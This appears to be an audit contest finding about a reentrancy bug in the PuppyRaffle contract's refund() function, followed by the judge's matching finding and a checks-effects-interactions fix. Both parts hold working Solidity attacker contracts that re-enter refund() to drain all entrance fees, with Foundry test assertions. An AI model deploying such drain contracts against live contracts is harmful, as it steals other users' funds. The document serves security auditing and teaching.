Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund() lets a player drain all entrance fees held by the contract

Root + Impact

refund() sends the entrance fee to the caller BEFORE clearing the caller's slot in the players array. A player contract whose receive() re-enters refund() with the same index passes the checks again and gets paid the entrance fee over and over, until the contract is drained of every other player's entrance fees.

Description

In PuppyRaffle::refund, the external call happens at the top and the state update happens after it, violating checks-effects-interactions:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// @> payable(msg.sender).sendValue(entranceFee);
// @>
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Address.sendValue forwards all remaining gas via a low-level call, so a malicious player contract can re-enter refund(playerIndex) from its receive() fallback. Because players[playerIndex] is still set to the attacker at that moment, every re-entrant call passes both require checks and pays out another entranceFee.

Risk

Likelihood: High - any single player can do this with a trivial attacker contract, no special privileges or timing needed.
Impact: High - the attacker steals the entrance fees of all other players (the whole contract balance), leaving nothing for the winner's prize pool or the protocol fees.

Proof of Concept

Verified with Foundry (test passes): 4 honest players enter with 1 ETH each, the attacker contract enters with 1 ETH at index 4, then one attack(4) call drains all 5 ETH.

contract RefundAttacker {
PuppyRaffle public raffle;
uint256 public entranceFee;
uint256 public myIndex;
​
constructor(address _raffle, uint256 _fee) public {
raffle = PuppyRaffle(_raffle);
entranceFee = _fee;
}
​
function enter() public {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: entranceFee}(p);
}
​
function attack(uint256 _index) public {
myIndex = _index;
raffle.refund(_index);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(myIndex);
}
}
}
​
// test: after attack, attacker holds 5 ETH and raffle balance is 0
// assertEq(address(attacker).balance, 5e18);
// assertEq(address(puppyRaffle).balance, 0);

Recommended Mitigation

Clear the player's slot before sending the refund (checks-effects-interactions), and/or add a reentrancy guard:

require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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